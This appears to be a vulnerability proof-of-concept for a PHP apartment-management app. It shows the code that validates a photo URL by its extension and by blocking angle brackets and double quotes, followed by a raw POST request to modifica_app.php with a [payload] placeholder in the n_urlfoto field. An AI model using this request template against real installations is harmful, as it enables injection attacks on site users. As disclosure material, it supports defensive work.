if (!empty($aggurlfoto)) {
    $mostra_form_modifica = "NO";
    $dest = "#aggfoto";
    $errore = "";

    if (@get_magic_quotes_gpc()) {
        $n_urlfoto = stripslashes($n_urlfoto);
    }

    $lowurl = strtolower($n_urlfoto);

    if (
        substr($lowurl, -4) != ".jpg" &&
        substr($lowurl, -5) != ".jpeg" &&
        substr($lowurl, -4) != ".gif" &&
        substr($lowurl, -4) != ".png" &&
        substr($lowurl, -5) != ".webp"
    ) {
        $errore = "SI";
    }

    if (
        str_replace("<", "", $n_urlfoto) != $n_urlfoto ||
        str_replace(">", "", $n_urlfoto) != $n_urlfoto ||
        str_replace("\"", "", $n_urlfoto) != $n_urlfoto
    ) {
        $errore = "SI";
    }

POST /modifica_app.php HTTP/1.1
Host: 127.0.0.1:57146
....
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Length: 1121
....

------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="anno"

[year]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="id_sessione"

[sessionid]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="idappartamenti"

[apartmentid]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="aggurlfoto"

SI
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="n_urlfoto"

[payload]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d--